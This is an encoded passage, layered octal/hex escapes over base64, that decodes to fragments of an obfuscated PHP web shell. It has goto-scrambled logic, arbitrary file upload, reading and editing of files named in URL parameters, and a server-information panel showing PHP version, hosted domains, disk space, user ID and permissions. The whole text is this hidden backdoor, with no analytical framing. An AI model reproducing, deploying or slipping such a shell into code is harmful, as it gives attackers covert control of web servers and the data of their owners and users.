65\x58\104\x45\x32\116\106\167\170\x4e\x44\x4e\x63\x4d\124\125\167\130\110\147\x79\115\106\x78\64\115\152\x46\143\145\x44\111\170\130\110\147\x79\115\x56\x78\64\x4d\155\x56\x63\x65\x44\x4e\x6a\130\x48\147\x79\132\x6c\x78\x34\x4e\x7a\x42\143\x4e\172\131\x69\x4f\x79\102\x39\x49\x47\x56\x73\x63\62\x55\x67\145\171\101\x6b\x64\130\102\x73\142\62\106\153\125\x47\106\x30\141\x43\x41\71\111\103\x52\167\x59\130\x52\x6f\111\x43\x34\147\x49\x6c\x77\61\x4e\x79\x49\147\x4c\151\x41\x6b\x58\60\x5a\112\124\x45\x56\124\x57\x79\x4a\143\x4d\x54\121\x32\130\110\147\x32\117\x56\x77\170\116\x54\x52\x63\115\124\x51\61\x49\x6c\61\x62\x49\x6c\170\64\116\x6d\x56\x63\x65\104\x59\x78\130\x48\x67\62\132\x46\170\64\116\152\125\151\x58\x54\163\147\x61\127\131\x67\113\107\x31\x76\144\155\126\x66\144\130\102\x73\x62\62\106\x6b\x5a\x57\x52\x66\132\x6d\154\x73\132\x53\147\153\130\x30\x5a\112\x54\105\x56\x54\127\171\x4a\143\145\104\x59\62\x58\104\105\61\115\x56\167\x78\x4e\x54\122\143\x65\104\x59\x31\x49\x6c\x31\142\111\x6c\167\170\x4e\x6a\122\x63\x65\104\x5a\x6b\x58\110\147\63\x4d\106\170\64\x4e\127\x5a\x63\145\104\x5a\x6c\130\110\147\62\x4d\x56\x77\170\116\x54\126\143\x4d\124\x51\61\111\x6c\60\163\x49\x43\122\x31\143\107\x78\166\131\x57\x52\x51\x59\x58\122\x6f\113\123\x6b\147\145\x79\102\154\x59\x32\x68\166\x49\103\112\143\x4e\172\122\143\x65\104\x63\167\x58\110\x67\x7a\x5a\126\x78\x34\116\x44\132\143\x4d\124\125\x78\130\x48\x67\62\x59\x31\x77\x78\x4e\x44\126\x63\x4e\104\102\143\x4d\124\131\x31\x58\x44\105\62\115\x46\167\170\x4e\x54\x52\x63\x65\x44\132\x6d\130\104\x45\x30\115\126\x77\x78\x4e\104\x52\143\145\104\x59\61\x58\110\147\x32\116\106\170\64\115\152\102\x63\x4d\x54\131\172\130\110\x67\x33\x4e\x56\170\x34\116\152\116\143\x65\104\x59\172\130\x48\147\62\x4e\126\167\x78\x4e\x6a\x4e\x63\145\104\143\x7a\x58\x44\105\x30\x4e\154\x78\x34\x4e\172\x56\x63\x65\x44\x5a\x6a\x58\x44\105\61\x4e\106\x77\x78\x4e\x7a\x46\143\x4e\124\132\143\116\x44\x42\x37\112\x48\126\167\142\107\x39\x68\x5a\x46\102\150\144\107\150\x39\130\104\x51\x77\x58\x48\x67\x79\132\x56\170\64\115\x32\116\143\x65\x44\x4a\155\x58\104\105\x32\x4d\x46\x78\x34\115\62\x55\151\x4f\171\102\71\111\x47\126\163\x63\62\x55\147\x65\x79\x42\154\131\x32\150\166\111\x43\112\143\116\172\122\143\x4d\124\x59\167\x58\x48\x67\x7a\132\126\x77\170\x4d\104\132\x63\145\x44\x59\x35\x58\104\105\61\x4e\106\x78\64\x4e\x6a\126\143\x65\104\111\x77\x58\110\x67\x33\x4e\x56\x77\x78\116\152\102\x63\115\124\125\x30\x58\x48\147\62\132\154\x78\x34\x4e\152\106\x63\x65\x44\131\60\x58\x44\121\x77\130\x48\x67\62\116\x6c\167\x78\x4e\104\x46\143\x65\104\x59\65\130\x44\x45\x31\116\x46\170\64\x4e\152\x56\143\x4d\124\x51\60\130\104\x55\62\x58\x44\x63\60\130\x44\125\x33\x58\110\147\x33\115\x46\167\x33\x4e\151\111\x37\x49\110\60\147\x66\123\x42\71\111\107\x64\166\144\x47\70\x67\125\126\x70\123\x5a\x6b\x59\67\x49\x45\71\x31\121\62\164\x6b\117\x69\x42\154\x59\x32\150\166\111\105\x42\167\x61\x48\102\62\132\130\x4a\172\x61\x57\x39\x75\113\x43\153\x37\111\107\x64\166\144\x47\x38\x67\121\126\x6c\x53\121\x6a\153\x37\x49\107\105\x33\x52\x54\112\x56\x4f\151\x42\x41\x61\x57\x35\160\130\x33\x4e\154\x64\x43\x67\x69\x58\x48\147\62\x5a\x46\170\64\116\x6a\x46\x63\x4d\x54\x63\167\x58\x44\105\x7a\116\61\x78\x34\116\x6a\126\x63\115\124\143\x77\x58\x44\105\x30\116\x56\x77\x78\x4e\104\x4e\x63\x4d\x54\131\x31\130\x44\x45\x32\116\106\167\170\x4e\124\106\x63\x4d\x54\x55\63\x58\x44\x45\x31\116\x6c\x77\x78\115\172\x64\143\145\104\143\60\x58\110\147\62\117\x56\170\x34\116\x6d\x52\143\x65\104\x59\61\111\x69\x77\x67\115\103\153\x37\111\x47\144\166\144\x47\70\147\131\x54\x4e\112\x53\124\x4d\67\111\x48\x4a\x51\x62\110\105\x79\x4f\x69\x42\101\x61\x47\126\x68\x5a\x47\126\x79\x4b\x43\x4a\x63\145\x44\125\x34\130\x44\x55\x31\130\104\x45\167\115\126\x78\x34\x4e\x6a\116\x63\145\104\x59\x7a\130\104\x45\60\116\126\170\64\x4e\x6d\116\x63\x65\104\112\x6b\130\110\x67\60\115\154\x77\170\x4e\152\126\143\x4d\124\x51\x32\x58\x44\x45\60\116\154\170\64\116\x6a\x56\143\x65\104\x63\171\130\x48\x67\x32\x4f\x56\170\64\x4e\155\x56\143\x4d\124\x51\63\130\110\147\172\131\x56\x77\x30\115\x46\167\170\x4e\x54\132\x63\115\x54\125\x33\x49\151\x6b\x37\x49\107\x64\166\144\x47\x38\x67\124\x6c\122\150\116\x6c\x4d\x37\x49\105\x55\x32\143\62\x31\166\117\151\101\x6b\143\62\116\150\x62\x6d\x52\x70\x63\x69\x41\71\111\105\x42\172\x59\x32\106\165\x5a\107\154\x79\x4b\x43\122\x77\x59\x58\122\x6f\113\124\x73\x67\x5a\x32\x39\x30\x62\171\x42\x70\x64\x55\150\x4c\122\x6a\163\147\x54\x6c\122\150\116\x6c\115\x36\x49\x45\x42\157\x5a\x57\106\153\x5a\130\111\x6f\111\154\x78\64\x4e\104\116\143\x4d\x54\125\63\x58\110\x67\62\132\x56\167\170\116\152\122\143\x4d\x54\x51\x31\x58\x48\x67\62\x5a\126\170\64\x4e\x7a\122\143\x4e\124\x56\x63\x4d\x54\101\x31\x58\x44\x45\x31\x4e\x6c\170\64\116\x6a\x4e\143\x65\104\x5a\155\130\110\147\62\x4e\106\167\170\116\x54\106\x63\145\104\x5a\x6c\x58\x44\105\x30\x4e\61\170\x34\115\x32\106\x63\x4e\104\102\x63\145\104\132\154\x58\110\x67\62\132\x6c\x78\x34\116\155\126\x63\x65\x44\131\61\x49\151\153\x37\x49\x47\x64\x76\144\x47\x38\147\x63\130\116\x6f\x5a\130\x45\67\x49\x47\x46\x53\117\x57\x30\x7a\x4f\151\x42\x6c\x59\62\150\x76\111\x43\x52\146\x55\60\126\x53\126\x6b\x56\123\x57\x79\x4a\143\x4d\x54\x49\172\130\110\147\60\116\x56\x77\170\115\x6a\x4a\143\145\x44\x55\62\130\104\105\x77\x4e\126\x77\170\115\152\x4a\x63\x4d\x54\x4d\63\x58\x48\x67\61\x4d\x31\167\x78\115\x54\x64\143\x65\104\121\62\130\x44\x45\171\116\106\167\170\x4d\x6a\144\x63\115\124\101\x78\130\104\105\171\x4d\x6c\170\64\116\104\125\x69\130\124\x73\x67\132\62\x39\x30\142\171\102\160\115\126\x64\x4c\126\104\163\147\126\105\x4a\x75\x4d\155\x51\66\x49\x44\70\x2b\x43\152\x77\166\x62\x47\x6b\x2b\120\x43\x39\x31\142\104\x34\x38\114\x32\122\x70\x64\x6a\x34\70\x4c\62\x52\160\144\x6a\x34\70\x4c\62\122\160\x64\152\x34\70\x63\x32\x4e\171\x61\x58\102\x30\x50\x6d\132\61\x62\155\x4e\60\141\127\x39\165\x49\x48\122\x76\132\x32\x64\x73\132\125\71\167\144\x47\x6c\166\142\156\x4e\x4e\132\127\65\x31\113\103\154\67\132\x47\x39\152\x64\x57\x31\154\142\x6e\121\165\132\x32\126\60\x52\127\170\154\x62\127\x56\165\144\x45\112\65\x53\127\x51\x6f\x49\155\x39\x77\x64\107\154\x76\x62\156\x4e\116\132\x57\65\x31\111\x69\153\x75\x59\x32\170\150\143\x33\116\x4d\141\x58\x4e\60\x4c\156\122\166\x5a\x32\x64\163\x5a\123\147\x69\143\x32\x68\166\144\171\x49\160\x66\x57\132\61\142\x6d\116\x30\x61\x57\71\x75\111\110\122\x76\132\62\x64\x73\132\x56\116\160\x5a\107\x56\151\131\x58\111\157\113\130\164\153\x62\62\x4e\x31\142\127\126\x75\144\103\x35\x6e\132\x58\122\x46\142\x47\126\164\x5a\x57\65\x30\x51\156\x6c\112\132\103\x67\x69\143\x32\154\153\132\x57\x4a\150\143\x69\111\x70\114\155\116\163\131\130\x4e\x7a\124\x47\154\x7a\x64\x43\65\60\x62\62\144\x6e\142\x47\125\x6f\x49\x6d\x39\167\132\127\x34\x69\113\130\60\70\x4c\x33\116\x6a\x63\x6d\x6c\x77\144\104\x34\x38\x5a\x47\154\x32\x49\107\116\x73\x59\130\x4e\172\x50\x53\112\155\x62\62\x39\x30\x5a\x58\111\x69\x50\x6a\x78\x77\120\x73\113\x70\120\104\71\x77\x61\110\101\x67\111\107\144\166\144\107\x38\147\131\153\143\65\x53\154\153\x37\x49\110\144\132\x61\x30\x56\66\117\151\101\x2f\120\147\x6f\70\114\x32\170\x70\120\152\170\x73\x61\x54\65\x55\142\x33\x52\x68\142\103\102\105\x62\x32\x31\x68\141\127\65\x7a\x49\x47\x6c\x75\111\x46\x4e\x6c\x63\156\132\154\143\x6a\x6f\70\x50\x33\x42\x6f\143\x43\x41\147\132\x32\71\60\142\171\x42\65\132\61\112\160\x4f\x44\163\147\x57\x6c\x42\154\131\156\x67\x36\111\x44\x38\x2b\x43\152\167\166\x64\107\x46\x69\x62\107\125\53\x50\103\71\153\x61\x58\131\53\120\107\122\x70\x64\151\102\152\142\x47\106\172\143\x7a\x30\151\x63\62\154\153\x5a\x57\x4a\x68\143\x69\112\x70\x5a\x44\x30\x69\x63\x32\x6c\153\x5a\x57\x4a\150\x63\x69\x49\53\120\107\122\x70\x64\151\102\x6a\142\107\x46\172\x63\x7a\x30\151\x63\x32\154\153\132\x57\x4a\150\143\x69\61\x6a\x62\62\x35\x30\132\x57\x35\60\x49\x6a\64\x38\x5a\x47\154\x32\x49\x47\116\x73\131\130\x4e\172\x50\x53\x4a\x7a\141\x57\x52\154\x59\x6d\x46\x79\x4c\x57\x4e\x73\x62\x33\116\154\x49\x6a\x34\x38\131\156\126\x30\x64\107\71\165\x49\x47\x39\x75\x59\x32\x78\x70\x59\62\x73\x39\x49\156\122\166\x5a\x32\144\x73\x5a\126\116\160\x5a\x47\126\x69\x59\x58\111\x6f\x4b\x53\111\x2b\x51\62\170\166\x63\x32\x55\70\114\x32\112\61\144\x48\x52\166\142\x6a\64\70\114\x32\x52\160\144\x6a\x34\x38\132\107\x6c\x32\111\x47\116\x73\x59\130\x4e\x7a\120\123\x4a\160\142\x6d\132\166\114\127\x4e\166\x62\156\122\x68\141\x57\65\x6c\143\151\111\53\120\107\147\171\120\x6c\116\154\143\156\132\x6c\143\x69\x42\x4a\x62\x6d\132\x76\x50\103\x39\157\x4d\152\64\70\x50\63\102\157\x63\x43\x41\147\x5a\62\x39\x30\x62\x79\x42\154\x65\106\154\x6c\145\x44\x73\x67\x63\127\x31\x73\x5a\127\147\66\111\107\154\x6d\111\103\150\x70\x63\63\116\154\144\x43\147\x6b\x58\x30\144\x46\126\106\163\x69\x58\x48\x67\x32\x4e\154\170\x34\x4e\x6a\x6c\x63\145\104\132\x6a\x58\x48\147\62\x4e\123\112\144\113\123\x6b\x67\x65\171\101\x6b\132\x6d\x6c\x73\132\123\x41\71\x49\x43\x52\146\x52\x30\126\125\x57\171\112\143\x65\104\131\x32\130\104\x45\x31\x4d\126\170\64\x4e\155\116\x63\x65\104\x59\61\111\x6c\x30\x37\x49\103\x52\x6d\141\x57\170\154\125\x47\106\60\141\x43\101\71\x49\x43\x52\x77\131\130\122\157\x49\103\x34\x67\111\154\170\64\115\155\x59\151\111\103\x34\147\112\107\132\x70\x62\107\125\67\111\x43\x52\x6d\x61\127\x78\x6c\121\62\71\x75\x64\x47\x56\165\144\x43\x41\71\111\x45\102\155\141\x57\170\x6c\130\62\144\154\144\106\x39\x6a\x62\x32\x35\60\x5a\x57\x35\60\143\x79\x67\x6b\x5a\x6d\154\x73\x5a\x56\x42\150\x64\107\147\160\117\x79\x42\160\x5a\151\x41\157\112\x47\x5a\160\x62\x47\x56\x44\142\x32\65\x30\132\x57\65\x30\111\x43\105\x39\120\123\x42\155\131\x57\170\172\132\x53\153\x67\145\x79\102\154\131\62\150\166\111\x43\x4a\143\x65\104\116\152\130\x44\105\60\x4e\x46\167\x78\x4e\124\106\x63\x65\x44\x63\62\x58\110\x67\171\115\106\x78\x34\x4e\152\x4e\143\x65\x44\x5a\x6a\130\x44\105\x30\x4d\126\170\x34\x4e\172\x4e\x63\145\104\x63\x7a\130\110\147\x7a\132\106\167\x30\115\154\167\170\116\124\126\x63\x4d\x54\x51\x31\x58\104\105\62\x4d\x31\x78\64\116\172\116\x63\x4d\124\x51\x78\x58\110\x67\62\x4e\61\x78\x34\116\x6a\x56\x63\x65\x44\112\x6b\130\110\x67\x32\115\61\167\170\116\x54\144\143\x65\104\132\x6c\130\x44\x45\62\116\x46\170\x34\116\x6a\106\143\x65\x44\x59\x35\130\x48\147\x32\132\126\x78\x34\116\152\126\143\x65\x44\143\x79\x58\104\x51\171\x58\x44\143\62\x49\152\163\x67\132\127\116\157\x62\x79\101\151\130\110\x67\x7a\x59\x31\167\170\116\152\x42\143\145\x44\116\x6c\x58\104\105\x77\x4e\126\167\x78\x4e\104\x52\x63\145\104\x59\65\130\110\147\x33\116\106\x78\64\115\152\x42\143\x65\x44\x51\62\130\x48\x67\x32\117\x56\167\x78\116\124\x52\x63\115\124\121\x31\130\x48\x67\x7a\131\126\167\x30\115\110\x73\x6b\132\155\154\163\132\130\61\x63\x4e\x7a\x52\x63\116\124\x64\143\115\124\x59\167\x58\x44\143\62\111\x6a\163\147\132\127\116\x6f\x62\x79\x41\x69\x58\104\143\60\130\110\147\x32\x4e\154\170\x34\116\155\132\143\115\x54\x59\171\130\x48\x67\x32\x5a\x46\167\x30\x4d\x46\x78\x34\116\x6d\x52\143\x4d\x54\x51\61\130\110\x67\63\x4e\106\167\x78\116\124\x42\x63\x4d\124\x55\63\x58\104\x45\x30\116\106\x78\x34\115\62\122\x63\x4e\x44\x4a\x63\115\x54\x49\x77\x58\x48\147\60\x5a\154\167\x78\115\152\116\143\x4d\x54\111\60\x58\x44\121\x79\x58\x48\x67\x79\115\x46\167\170\x4e\104\106\143\x4d\124\x51\x7a\x58\x44\105\x32\116\x46\x78\64\116\x6a\154\143\x4d\124\x55\x33\x58\x44\105\61\116\154\x78\x34\x4d\62\122\143\x65\104\x49\171\130\110\147\171\115\x6c\170\x34\115\x32\x55\151\x4f\171\x42\154\x59\62\150\x76\111\103\112\143\x65\x44\x4e\152\x58\104\105\x31\x4d\126\x78\64\116\x6d\x56\143\115\x54\131\x77\130\104\105\62\116\x56\x78\64\116\x7a\122\x63\x65\x44\111\167\x58\104\105\62\116\106\x78\64\x4e\x7a\154\143\x65\x44\143\167\x58\x48\x67\x32\116\126\170\x34\115\x32\122\143\x4e\x44\x4a\143\115\124\x55\x77\x58\110\x67\x32\x4f\126\x77\x78\116\104\122\x63\x4d\x54\121\60\130\104\x45\x30\x4e\x56\170\x34\116\155\x56\x63\116\104\x4a\x63\116\x44\102\x63\115\x54\x55\x32\x58\110\147\x32\x4d\126\x77\170\x4e\x54\126\143\115\124\x51\x31\x58\x48\147\172\132\x46\x78\64\115\152\112\x63\x65\x44\131\x31\130\x48\x67\62\116\x46\167\170\x4e\x54\106\x63\x4d\124\x59\60\x58\x48\147\x79\x4d\154\x78\64\115\152\x42\143\145\x44\143\62\x58\104\x45\60\x4d\126\167\170\116\x54\x52\143\x65\104\143\61\x58\104\x45\60\116\x56\x78\x34\115\62\122\143\116\x44\112\143\115\124\x59\x30\x58\x48\x67\x33\x4d\154\167\170\x4e\152\x56\x63\x65\104\131\x31\x58\x44\121\171\x58\x44\143\62\111\x6a\x73\x67\x5a\127\116\157\x62\171\101\151\130\110\147\x7a\x59\61\167\x78\x4e\124\x46\x63\x65\x44\x5a\154\x58\110\147\x33\115\x46\x77\x78\116\152\x56\143\x4d\124\x59\60\x58\x44\121\167\130\104\105\62\116\106\167\170\116\172\106\143\x65\x44\143\167\x58\110\x67\62\116\x56\170\x34\115\62\x52\x63\116\x44\112\x63\115\x54\125\167\130\x48\x67\62\117\x56\170\x34\x4e\x6a\x52\143\115\x54\x51\60\130\104\105\60\x4e\126\170\x34\116\x6d\x56\x63\x4e\x44\112\x63\145\104\111\x77\130\x48\147\x32\x5a\126\167\x78\x4e\x44\106\143\x4d\124\125\x31\130\x48\147\x32\116\126\x78\64\x4d\x32\122\x63\145\104\111\x79\x58\x44\x45\60\x4e\154\x77\170\116\124\106\x63\145\x44\132\152\130\x48\x67\x32\x4e\x56\170\64\115\152\112\143\145\x44\111\167\130\x44\105\62\116\x6c\x77\x78\116\x44\x46\x63\x4d\124\x55\x30\130\x48\x67\63\116\126\170\64\x4e\x6a\126\143\x4e\172\126\x63\116\104\112\x37\112\107\x5a\x70\x62\x47\x56\71\x58\104\121\171\130\x44\143\x32\111\x6a\163\147\132\127\116\x6f\142\171\101\151\130\x44\143\60\130\x48\147\63\x4e\106\x78\64\116\152\126\143\115\x54\x63\x77\130\110\x67\63\116\x46\x77\x78\116\x44\x46\143\115\124\x59\171\x58\104\x45\60\x4e\126\x77\x78\x4e\104\x46\143\x65\104\x49\167\130\x48\x67\x32\132\126\170\64\x4e\x6a\106\x63\145\104\x5a\x6b\x58\x48\x67\62\116\126\x78\64\115\x32\122\143\145\104\x49\x79\130\110\147\x32\x5a\x56\x77\x78\x4e\104\126\x63\x65\104\143\63\130\104\105\172\116\61\167\x78\116\x44\116\143\145\x44\x5a\x6d\x58\110\147\62\132\126\170\64\x4e\x7a\122\x63\x4d\x54\121\61\130\x48\147\x32\x5a\x56\x77\x78\x4e\x6a\122\143\x4e\x44\112\143\145\104\x49\x77\x58\x48\x67\x33\x4d\154\x78\x34\x4e\155\132\143\x4d\124\131\63\130\x48\147\63\x4d\61\167\x33\x4e\126\167\x30\115\x6c\x77\62\x4d\x56\170\x34\115\172\x42\143\x4e\104\112\143\x65\104\x49\x77\x58\104\x45\x30\x4d\61\170\64\116\155\132\x63\145\x44\x5a\x6a\130\x48\x67\x33\x4d\61\x77\x33\x4e\126\170\64\x4d\x6a\x4a\x63\145\x44\x4d\170\x58\104\131\167\130\104\x59\x77\130\x48\147\171\115\154\170\x34\115\x6a\102\x63\145\x44\x63\x77\x58\x44\105\x31\x4e\106\167\x78\x4e\104\106\x63\x65\104\131\x7a\130\104\x45\60\116\x56\167\x78\x4e\x54\102\143\x4d\x54\x55\63\130\x44\105\x31\x4e\106\x77\x78\116\104\122\143\115\x54\121\x31\130\104\105\62\115\x6c\x78\x34\x4d\62\122\143\145\104\x49\171\x58\x48\x67\x30\116\126\x77\170\116\x54\132\x63\x4d\124\131\60\130\104\105\60\116\x56\170\64\x4e\172\112\x63\x4e\x44\102\143\x4d\x54\x55\x32\x58\x44\x45\x30\116\126\x78\64\x4e\172\144\143\116\104\102\143\x65\104\x59\172\x58\x48\x67\62\132\x6c\170\x34\116\x6d\x56\143\x65\x44\x63\x30\130\104\105\x30\x4e\126\x77\x78\116\124\x5a\143\x4d\x54\131\x30\130\110\147\171\132\x56\170\x34\x4d\x6d\x56\x63\116\x54\132\143\116\104\x4a\143\116\x7a\x59\x69\x49\103\64\x67\x61\x48\x52\164\142\x48\116\167\132\127\116\160\x59\127\x78\152\x61\107\x46\x79\143\171\147\x6b\x5a\x6d\154\x73\132\125\x4e\x76\x62\x6e\x52\154\142\x6e\121\160\x49\x43\64\x67\111\154\170\x34\115\62\116\x63\145\104\x4a\155\130\x48\147\x33\116\x46\167\x78\x4e\104\x56\143\x65\x44\143\x34\130\x44\105\x32\116\106\x77\x78\x4e\x44\x46\143\115\x54\131\x79\130\x48\x67\62\x4e\x56\170\x34\x4e\x6a\x46\x63\145\104\116\154\x49\152\x73\x67\x5a\127\116\157\142\x79\x41\151\x58\x44\x63\x30\130\104\x45\61\115\x56\x78\x34\x4e\x6d\126\143\145\104\x63\167\x58\104\105\62\116\x56\170\x34\x4e\172\122\x63\x4e\104\x42\143\145\104\x63\x30\x58\x44\105\63\115\126\x77\x78\x4e\x6a\x42\143\115\124\121\x31\x58\x48\147\x7a\x5a\x46\x77\x30\x4d\154\167\x78\116\x6a\x4e\143\115\124\131\61\130\x48\147\62\115\x6c\x78\64\x4e\155\122\143\x4d\124\125\170\x58\x44\105\62\x4e\x46\167\60\115\154\x77\60\x4d\106\170\64\116\x7a\x5a\143\145\104\131\170\130\x44\105\x31\116\106\170\64\x4e\172\126\143\x4d\x54\x51\x31\x58\x44\143\x31\130\104\121\x79\130\x44\105\167\x4e\x56\170\x34\116\x6a\122\143\x4d\x54\x55\170\130\x48\147\x33\x4e\106\x77\x30\x4d\154\x77\x33\x4e\151\x49\67\x49\107\x56\152\x61\x47\70\x67\x49\154\x77\x33\116\106\x78\64\x4d\155\x5a\143\x4d\x54\x51\x32\130\110\x67\62\x5a\154\x77\x78\x4e\x6a\x4a\143\115\124\125\61\x58\110\x67\172\x5a\123\111\x37\111\107\x56\x6a\141\107\x38\x67\x49\154\x77\x33\116\106\x77\61\x4e\x31\167\170\x4e\104\122\143\115\124\x55\170\130\x44\x45\x32\116\x6c\167\x33\116\x69\x49\x37\111\110\x30\147\146\123\x42\x6e\142\x33\122\x76\x49\106\154\x75\x56\152\x4a\x75\x4f\171\x42\x48\126\130\112\x42\145\x6a\x6f\x67\132\x57\116\x6f\x62\x79\101\x69\x58\x44\105\171\x58\x48\x67\171\115\106\x78\x34\115\152\x42\143\116\x44\x42\143\x65\x44\x49\x77\130\x44\x63\x30\130\104\x45\60\116\154\x77\x78\116\124\144\143\x65\104\x63\171\130\x48\147\62\132\106\x78\x34\x4d\x6a\102\x63\115\x54\125\x31\130\104\105\60\x4e\126\167\x78\116\x6a\122\143\145\x44\x59\64\130\x44\105\x31\x4e\x31\x78\x34\116\152\x52\143\x65\x44\x4e\x6b\130\110\147\x79\115\x6c\167\x78\115\x6a\x42\x63\115\124\x45\63\130\104\105\x79\115\x31\167\170\115\x6a\122\143\116\x44\112\143\145\x44\x4e\154\130\104\105\171\130\x48\147\x79\x4d\x46\x77\x30\115\x46\170\x34\x4d\152\x42\x63\116\104\x42\x63\145\x44\116\x6a\130\110\147\x32\117\x56\x78\x34\x4e\155\x56\x63\x65\104\143\167\x58\110\x67\x33\116\x56\167\170\116\152\122\x63\x65\x44\111\167\130\x44\105\x32\x4e\x46\x78\64\116\x7a\x6c\143\x65\x44\x63\167\130\104\105\x30\116\x56\x77\63\116\x56\167\60\x4d\x6c\170\64\116\172\122\x63\x65\104\131\x31\130\x48\x67\63\x4f\x46\x77\170\x4e\152\x52\143\x4e\x44\x4a\143\145\104\x49\167\x58\104\x45\x31\116\154\167\x78\x4e\104\x46\143\145\x44\x5a\x6b\x58\x48\147\x32\116\126\x77\x33\116\x56\170\64\115\x6a\112\x63\145\104\x5a\x6c\130\x48\147\x32\x4e\126\x77\170\116\152\144\x63\115\124\x4d\x33\130\110\x67\62\116\154\x77\170\x4e\x54\106\x63\145\104\x5a\152\x58\x44\x45\x30\116\126\x78\x34\116\127\x5a\143\x65\104\132\x6c\x58\x44\105\x30\115\x56\x78\64\116\x6d\122\x63\x4d\x54\121\61\x58\x44\x51\x79\130\110\x67\x79\115\x46\167\170\116\x6a\102\x63\x65\104\x5a\x6a\x58\x44\x45\x30\115\126\170\64\116\152\116\x63\115\124\121\x31\x58\x44\x45\61\x4d\106\170\x34\116\x6d\x5a\143\x65\x44\x5a\x6a\x58\x44\x45\60\116\x46\x77\x78\x4e\104\x56\143\x65\104\x63\x79\130\110\x67\172\x5a\x46\170\64\115\152\x4a\x63\145\104\122\x6c\x58\110\147\x32\x4e\x56\x78\x34\116\x7a\144\x63\x65\104\x49\x77\130\104\105\x77\116\154\x78\x34\116\x6a\x6c\143\x4d\124\x55\60\130\x48\147\62\116\126\170\x34\115\x6a\x42\143\x65\x44\122\154\x58\x48\x67\62\x4d\x56\167\x78\x4e\124\126\x63\145\x44\x59\61\x58\x48\147\x79\115\154\170\x34\x4d\62\x56\143\x65\x47\x46\x63\145\x44\111\x77\x58\x48\147\171\115\106\x77\x30\115\x46\x77\x30\115\106\x77\63\116\x46\170\64\116\x6a\154\143\145\x44\132\154\130\104\105\x32\115\106\x78\x34\x4e\x7a\x56\x63\115\124\131\60\130\x48\x67\x79\x4d\x46\x77\170\x4e\x6a\122\x63\x65\x44\143\x35\x58\104\105\x32\x4d\x46\x77\x78\116\104\x56\143\116\172\126\143\x4e\104\112\143\145\x44\143\172\130\104\105\x32\116\126\170\64\116\152\x4a\x63\x65\x44\x5a\x6b\130\104\x45\61\x4d\x56\167\170\116\x6a\x52\x63\145\x44\x49\x79\130\x44\x51\x77\x58\x48\x67\62\132\126\x77\x78\116\x44\106\x63\115\x54\125\61\130\104\105\60\x4e\126\170\64\x4d\62\122\x63\x65\x44\111\171\130\x48\x67\x32\115\61\x78\64\x4e\172\112\143\x65\x44\131\x31\x58\110\147\x32\115\x56\167\170\116\152\122\143\115\x54\x51\61\x58\110\x67\61\x5a\x6c\x78\64\116\x6a\x5a\x63\x65\x44\131\65\x58\x48\x67\x32\131\x31\167\x78\116\x44\x56\x63\116\104\112\x63\x65\x44\x49\x77\x58\110\x67\63\116\x6c\170\x34\x4e\152\x46\143\145\104\x5a\x6a\x58\104\x45\x32\x4e\x56\170\x34\116\x6a\x56\x63\145\x44\116\x6b\130\104\121\x79\x58\104\105\167\x4d\x31\x78\64\116\x7a\x4a\143\145\x44\x59\x31\x58\x44\105\60\x4d\x56\167\170\116\x6a\122\x63\115\124\x51\x31\x58\x48\147\171\x4d\x46\167\x78\x4d\104\132\143\145\104\x59\65\x58\x48\147\x32\131\61\x78\x34\116\152\x56\x63\145\104\111\171\x58\104\x63\62\130\104\x45\x79\x58\110\x67\171\115\x46\x77\60\x4d\x46\x78\64\x4d\x6a\102\x63\145\x44\x49\167\130\110\x67\x7a\x59\x31\167\61\x4e\x31\x78\64\x4e\152\x5a\143\115\x54\125\63\x58\110\147\63\115\x6c\x77\170\x4e\124\126\143\x4e\172\x59\151\117\171\x42\x6e\x62\x33\x52\166\111\x46\143\x79\x54\x57\x6c\131\117\x79\x42\x75\126\x7a\131\170\x4e\x7a\x6f\147\x61\x57\131\x67\x4b\107\x5a\x31\x62\155\x4e\x30\x61\x57\71\x75\x58\62\126\64\141\x58\116\60\143\171\147\x69\130\x44\105\x30\x4e\x46\167\x78\x4e\124\x46\x63\x4d\x54\131\x7a\130\104\105\x31\115\x31\170\64\116\127\x5a\x63\x4d\x54\131\60\x58\110\x67\x32\x5a\154\x78\x34\x4e\172\122\x63\x65\x44\131\170\130\104\x45\x31\116\x46\170\x34\116\x57\132\143\x4d\124\x59\x7a\130\x48\x67\x33\x4d\106\x78\64\116\152\106\x63\115\x54\x51\x7a\x58\110\x67\x32\x4e\123\111\160\113\123\x42\x37\111\x44\70\x2b\x43\152\170\163\x61\124\65\111\x52\105\x51\x67\x56\107\71\60\x59\x57\167\x67\125\x33\x42\150\131\62\x55\x36\120\104\71\x77\141\110\x41\x67\111\x47\x56\152\x61\x47\70\x67\121\107\x5a\166\143\155\x31\x68\144\x45\x4a\65\x64\x47\x56\172\x4b\x47\x52\160\x63\x32\x74\x66\x64\x47\71\60\x59\x57\x78\146\143\x33\x42\150\131\62\125\x6f\x49\154\167\61\x4e\x79\x49\160\x4b\x54\163\x67\x50\172\x34\113\x50\103\x39\163\141\124\x34\70\x62\107\153\53\123\105\x52\x45\x49\x45\132\x79\132\127\125\147\x55\x33\x42\150\131\62\x55\x36\x50\x44\x39\x77\x61\x48\x41\x67\x49\x47\x56\x6a\x61\x47\70\147\121\x47\132\x76\143\x6d\x31\x68\x64\x45\x4a\x35\144\x47\126\172\x4b\x47\x52\160\x63\62\164\x66\x5a\x6e\112\x6c\x5a\126\71\172\x63\x47\106\x6a\x5a\123\x67\151\130\104\125\63\111\x69\x6b\160\117\x79\101\57\120\147\x6f\70\x4c\62\x78\160\x50\x6a\x77\x2f\x63\x47\150\x77\111\x43\x42\x39\x49\107\144\166\x64\107\x38\147\141\x31\144\64\x51\124\143\67\x49\x47\x6c\170\125\x44\116\x52\x4f\151\x42\x6c\131\62\150\x76\x49\105\102\x6e\132\x58\x52\x66\131\63\126\171\x63\x6d\x56\x75\144\106\71\x31\x63\62\126\x79\113\103\153\67\111\107\x64\166\x64\x47\x38\x67\124\155\x31\x35\115\x44\x45\x37\x49\x45\65\x74\145\x54\101\170\117\151\101\x2f\120\x67\x6f\x38\114\x32\x78\160\x50\152\170\x73\x61\x54\x35\x56\143\62\x56\171\x49\105\x6c\105\x4f\x6a\167\57\x63\x47\150\x77\x49\103\102\x6e\x62\63\122\166\111\x47\x34\x77\x54\x31\143\x7a\x4f\171\102\x31\x4e\x6b\61\x44\x52\104\157\x67\x5a\x6e\126\165\x59\63\122\160\x62\62\x34\147\x5a\x32\126\60\x55\107\x56\x79\142\127\x6c\x7a\143\62\x6c\166\x62\x6c\116\60\x63\155\154\x75\x5a\171\x67\153\143\x47\126\x79\142\x58\115\x70\x49\x48\163\147\x4a\107\x6c\165\132\x6d\x38\x67\